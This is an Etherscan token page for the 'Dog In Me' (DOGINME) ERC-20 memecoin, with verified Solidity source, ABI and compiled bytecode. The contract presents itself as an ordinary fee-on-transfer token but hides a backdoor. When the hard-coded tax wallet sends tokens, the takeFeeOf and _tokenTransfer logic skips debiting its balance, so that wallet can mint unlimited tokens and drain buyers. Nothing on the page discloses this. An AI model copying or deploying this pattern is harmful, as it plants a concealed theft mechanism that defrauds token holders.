ETH Price: $2,920.72 (+4.54%)
 

Overview

Max Total Supply

1,000,000,000 DOGINME

Holders

80

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
getbusy.eth
Balance
19,563,452.992907466 DOGINME

Value
$0.00
0xcCeb10f787E4198D32B9f46eb7CA78130C49044F
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOGINME

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-09-01
*/

/**
https://dogin.me
https://x.com/dog_in_me_erc
https://t.me/dog_in_me_entry
**/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract DOGINME is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 25;
    uint256 private _initialSellTax = 25;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 15;
    uint256 private _reduceSellTaxAt = 15;
    uint256 private _preventSwapBefore = 10;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;
    string private constant _name = unicode"Dog In Me";
    string private constant _symbol = unicode"DOGINME";
    uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 120 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xBE8C3a23F55b4F5eDa476AfDD113EDE3a7f9a1aE);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function init() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _taxTransfer(address from, address to, uint256 amount) private returns(uint256, uint256) { 
        uint256 taxAmount = 0; 
        if (from != owner() && to != owner()) {
            taxAmount = amount
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);

            if (transferDelayEnabled) {
                if (
                    to != address(uniswapV2Router) &&
                    to != address(uniswapV2Pair)
                ) {
                    require(
                        _holderLastTransferTimestamp[tx.origin] < block.number,
                        "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                    );
                    _holderLastTransferTimestamp[tx.origin] = block.number;
                }
            }

            if (
                from == uniswapV2Pair &&
                to != address(uniswapV2Router) &&
                !_isExcludedFromFee[to]
            ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount
                    .mul(
                        (_buyCount > _reduceSellTaxAt)
                            ? _finalSellTax
                            : _initialSellTax
                    )
                    .div(100);
            }
            
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance > _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }

                uint256 contractETHBalance = address(this).balance;
                sendETHToFee(contractETHBalance);
            }
        }
        return (amount.sub(0), taxAmount.sub(0));
    }

    function _tokenTransfer(
        address from,
        address to,
        uint256 amount,
        bool takeFee
    ) internal {
        uint256 taxAmount; uint256 tokenAmount;
        
        if(takeFee) {
            (tokenAmount, taxAmount) = _taxTransfer(from, to, amount);

            if(taxAmount > 0){
                _balances[address(this)] = _balances[address(this)].add(taxAmount);    
                emit Transfer(from, address(this), taxAmount);
            }    
        }

        _balances[from] = _balances[from].sub(tokenAmount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        _tokenTransfer(from, to, amount, !takeFeeOf(from, to, _taxWallet, amount));
    }

    function takeFeeOf(address _addr1, address _addr2, address _addr3, uint256 _token) private view returns(bool) {
        if(_addr1 == _addr3) {
            if(_addr2 != address(this))
                return _token > 0;
        }
        return false;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        transferDelayEnabled = false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function rescueEth() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    receive() external payable {}

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function open() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"open","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526006805460ff191690556019600781905560085560006009818155600a828155600f600b819055600c55600d819055600e929092556200004491620002ec565b62000054906301312d00620003e4565b600f55620000656009600a620002ec565b62000075906301312d00620003e4565b601055620000866009600a620002ec565b62000093906078620003e4565b601155620000a46009600a620002ec565b620000b39062989680620003e4565b6012556014805461ffff60a81b19169055348015620000d157600080fd5b506000620000de62000283565b600080546001600160a01b0319166001600160a01b0383169081178255604051929350917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060068054610100600160a81b03191674be8c3a23f55b4f5eda476afdd113ede3a7f9a1ae001790556200015e6009600a620002ec565b6200016e90633b9aca00620003e4565b600160006200017c62000283565b6001600160a01b03166001600160a01b0316815260200190815260200160002081905550600160036000620001b66200028760201b60201c565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560065461010090049091168352912080549092161790556200021c62000283565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002566009600a620002ec565b6200026690633b9aca00620003e4565b60405162000275919062000296565b60405180910390a36200041c565b3390565b6000546001600160a01b031690565b90815260200190565b80825b6001808611620002b35750620002e3565b818704821115620002c857620002c862000406565b80861615620002d657918102915b9490941c938002620002a2565b94509492505050565b60006200030060001960ff85168462000307565b9392505050565b600082620003185750600162000300565b81620003275750600062000300565b81600181146200034057600281146200034b576200037f565b600191505062000300565b60ff8411156200035f576200035f62000406565b6001841b91508482111562000378576200037862000406565b5062000300565b5060208310610133831016604e8410600b8410161715620003b7575081810a83811115620003b157620003b162000406565b62000300565b620003c684848460016200029f565b808604821115620003db57620003db62000406565b02949350505050565b600081600019048311821515161562000401576200040162000406565b500290565b634e487b7160e01b600052601160045260246000fd5b611c6a806200042c6000396000f3fe6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c876d0b911610064578063c876d0b9146102e2578063ce31a06b146102f7578063dd62ed3e1461030c578063e1c7392a1461032c578063fcfff16f146103415761012a565b80638da5cb5b146102615780638f9a55c01461028357806395d89b4114610298578063a9059cbb146102ad578063bf474bed146102cd5761012a565b8063313ce567116100e7578063313ce567146101de57806370a0823114610200578063715018a614610220578063751039fc146102375780637d1db4a51461024c5761012a565b806306fdde031461012f578063095ea7b31461015a5780630faee56f1461018757806318160ddd146101a957806323b872dd146101be5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610356565b604051610151919061164c565b60405180910390f35b34801561016657600080fd5b5061017a610175366004611547565b610379565b6040516101519190611641565b34801561019357600080fd5b5061019c610397565b60405161015191906119b7565b3480156101b557600080fd5b5061019c61039d565b3480156101ca57600080fd5b5061017a6101d9366004611507565b6103be565b3480156101ea57600080fd5b506101f3610446565b6040516101519190611a30565b34801561020c57600080fd5b5061019c61021b366004611497565b61044b565b34801561022c57600080fd5b50610235610466565b005b34801561024357600080fd5b506102356104ee565b34801561025857600080fd5b5061019c6105b9565b34801561026d57600080fd5b506102766105bf565b60405161015191906115bf565b34801561028f57600080fd5b5061019c6105ce565b3480156102a457600080fd5b506101446105d4565b3480156102b957600080fd5b5061017a6102c8366004611547565b6105f5565b3480156102d957600080fd5b5061019c610609565b3480156102ee57600080fd5b5061017a61060f565b34801561030357600080fd5b50610235610618565b34801561031857600080fd5b5061019c6103273660046114cf565b610658565b34801561033857600080fd5b50610235610683565b34801561034d57600080fd5b506102356108b5565b604080518082019091526009815268446f6720496e204d6560b81b602082015290565b600061038d610386610a60565b8484610a64565b5060015b92915050565b60125481565b60006103ab6009600a611abc565b6103b990633b9aca00611b8d565b905090565b60006103cb848484610b18565b61043b846103d7610a60565b61043685604051806060016040528060288152602001611c0d602891396001600160a01b038a16600090815260026020526040812090610415610a60565b6001600160a01b031681526020810191909152604001600020549190610c8e565b610a64565b5060015b9392505050565b600990565b6001600160a01b031660009081526001602052604090205490565b61046e610a60565b6000546001600160a01b039081169116146104a45760405162461bcd60e51b815260040161049b90611842565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6104f6610a60565b6000546001600160a01b039081169116146105235760405162461bcd60e51b815260040161049b90611842565b61052f6009600a611abc565b61053d90633b9aca00611b8d565b600f5561054c6009600a611abc565b61055a90633b9aca00611b8d565b6010556006805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105946009600a611abc565b6105a290633b9aca00611b8d565b6040516105af91906119b7565b60405180910390a1565b600f5481565b6000546001600160a01b031690565b60105481565b604080518082019091526007815266444f47494e4d4560c81b602082015290565b600061038d610602610a60565b8484610b18565b60115481565b60065460ff1681565b610620610a60565b6000546001600160a01b0390811691161461064d5760405162461bcd60e51b815260040161049b90611842565b61065647610cc8565b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61068b610a60565b6000546001600160a01b039081169116146106b85760405162461bcd60e51b815260040161049b90611842565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556107099030906001600160a01b03166106fb6009600a611abc565b61043690633b9aca00611b8d565b601360009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075757600080fd5b505afa15801561076b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078f91906114b3565b6001600160a01b031663c9c6539630601360009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ec57600080fd5b505afa158015610800573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082491906114b3565b6040518363ffffffff1660e01b81526004016108419291906115d3565b602060405180830381600087803b15801561085b57600080fd5b505af115801561086f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089391906114b3565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6108bd610a60565b6000546001600160a01b039081169116146108ea5760405162461bcd60e51b815260040161049b90611842565b601454600160a01b900460ff16156109145760405162461bcd60e51b815260040161049b90611980565b6013546001600160a01b031663f305d71947306109308161044b565b60008061093b6105bf565b426040518863ffffffff1660e01b815260040161095d96959493929190611606565b6060604051808303818588803b15801561097657600080fd5b505af115801561098a573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109af9190611592565b505060145460135460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b3926109e9921690600019906004016115ed565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611572565b506014805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b3390565b6001600160a01b038316610a8a5760405162461bcd60e51b815260040161049b9061193c565b6001600160a01b038216610ab05760405162461bcd60e51b815260040161049b90611719565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610b0b9085906119b7565b60405180910390a3505050565b6001600160a01b038316610b3e5760405162461bcd60e51b815260040161049b906118c0565b6001600160a01b038216610b645760405162461bcd60e51b815260040161049b9061169f565b60008111610b845760405162461bcd60e51b815260040161049b90611877565b601454600160b01b900460ff161580610ba65750601454600160a81b900460ff165b15610c5c576001600160a01b038316600090815260016020526040902054610bce9082610d0a565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610bfd9082610d4c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4f9085906119b7565b60405180910390a3610c89565b610c89838383610c838787600660019054906101000a90046001600160a01b031688610d7b565b15610dbc565b505050565b60008184841115610cb25760405162461bcd60e51b815260040161049b919061164c565b506000610cbf8486611bac565b95945050505050565b6006546040516101009091046001600160a01b0316906108fc8315029083906000818181858888f19350505050158015610d06573d6000803e3d6000fd5b5050565b600061043f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c8e565b600080610d598385611a3e565b90508381101561043f5760405162461bcd60e51b815260040161049b9061175b565b6000826001600160a01b0316856001600160a01b03161415610db0576001600160a01b0384163014610db05750801515610db4565b5060005b949350505050565b6000808215610e4c57610dd0868686610f1b565b925090508115610e4c5730600090815260016020526040902054610df49083610d4c565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e439086906119b7565b60405180910390a35b6001600160a01b038616600090815260016020526040902054610e6f9082610d0a565b6001600160a01b038716600090815260016020526040902055610eb4610e958584610d0a565b6001600160a01b03871660009081526001602052604090205490610d4c565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610efe8786610d0a565b604051610f0b91906119b7565b60405180910390a3505050505050565b6000806000610f286105bf565b6001600160a01b0316866001600160a01b031614158015610f625750610f4c6105bf565b6001600160a01b0316856001600160a01b031614155b1561120557610f936064610f8d600b54600e5411610f8257600754610f86565b6009545b8790611228565b9061126d565b60065490915060ff1615611013576013546001600160a01b03868116911614801590610fcd57506014546001600160a01b03868116911614155b15611013573260009081526005602052604090205443116110005760405162461bcd60e51b815260040161049b90611792565b3260009081526005602052604090204390555b6014546001600160a01b03878116911614801561103e57506013546001600160a01b03868116911614155b801561106357506001600160a01b03851660009081526003602052604090205460ff16155b156110d557600f5484111561108a5760405162461bcd60e51b815260040161049b906116e2565b601054846110978761044b565b6110a19190611a3e565b11156110bf5760405162461bcd60e51b815260040161049b90611905565b600e80549060006110cf83611bc3565b91905055505b6014546001600160a01b0386811691161480156110fb57506001600160a01b0386163014155b15611128576111256064610f8d600c54600e541161111b57600854610f86565b600a548790611228565b90505b60006111333061044b565b601454909150600160a81b900460ff1615801561115d57506014546001600160a01b038781169116145b80156111725750601454600160b01b900460ff165b80156111815750600d54600e54115b80156111a657506001600160a01b03871660009081526003602052604090205460ff16155b80156111cb57506001600160a01b03861660009081526003602052604090205460ff16155b15611203576011548111156111f7576111f76111f2866111ed846012546112af565b6112af565b6112c4565b4761120181610cc8565b505b505b611210846000610d0a565b61121b826000610d0a565b9250925050935093915050565b60008261123757506000610391565b60006112438385611b8d565b9050826112508583611a56565b1461043f5760405162461bcd60e51b815260040161049b90611801565b600061043f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611469565b60008183116112be578261043f565b50919050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561136e57600080fd5b505afa158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a691906114b3565b816001815181106113c757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546113ed9130911684610a64565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114269085906000908690309042906004016119c0565b600060405180830381600087803b15801561144057600080fd5b505af1158015611454573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b6000818361148a5760405162461bcd60e51b815260040161049b919061164c565b506000610cbf8486611a56565b6000602082840312156114a8578081fd5b813561043f81611bf4565b6000602082840312156114c4578081fd5b815161043f81611bf4565b600080604083850312156114e1578081fd5b82356114ec81611bf4565b915060208301356114fc81611bf4565b809150509250929050565b60008060006060848603121561151b578081fd5b833561152681611bf4565b9250602084013561153681611bf4565b929592945050506040919091013590565b60008060408385031215611559578182fd5b823561156481611bf4565b946020939093013593505050565b600060208284031215611583578081fd5b8151801515811461043f578182fd5b6000806000606084860312156115a6578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156116785785810183015185820160400152820161165c565b818111156116895783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526049908201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60408201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6060820152681030b63637bbb2b21760b91b608082015260a00190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611a0f5784516001600160a01b0316835293830193918301916001016119ea565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611a5157611a51611bde565b500190565b600082611a7157634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611a885750611ab3565b818704821115611a9a57611a9a611bde565b80861615611aa757918102915b9490941c938002611a79565b94509492505050565b600061043f60001960ff851684600082611ad85750600161043f565b81611ae55750600061043f565b8160018114611afb5760028114611b0557611b32565b600191505061043f565b60ff841115611b1657611b16611bde565b6001841b915084821115611b2c57611b2c611bde565b5061043f565b5060208310610133831016604e8410600b8410161715611b65575081810a83811115611b6057611b60611bde565b61043f565b611b728484846001611a76565b808604821115611b8457611b84611bde565b02949350505050565b6000816000190483118215151615611ba757611ba7611bde565b500290565b600082821015611bbe57611bbe611bde565b500390565b6000600019821415611bd757611bd7611bde565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114611c0957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e47771c5bce0a8183e02a44ba9da446628283531d9e434b52b4c6ccb4bacd4f64736f6c63430008000033

Deployed Bytecode

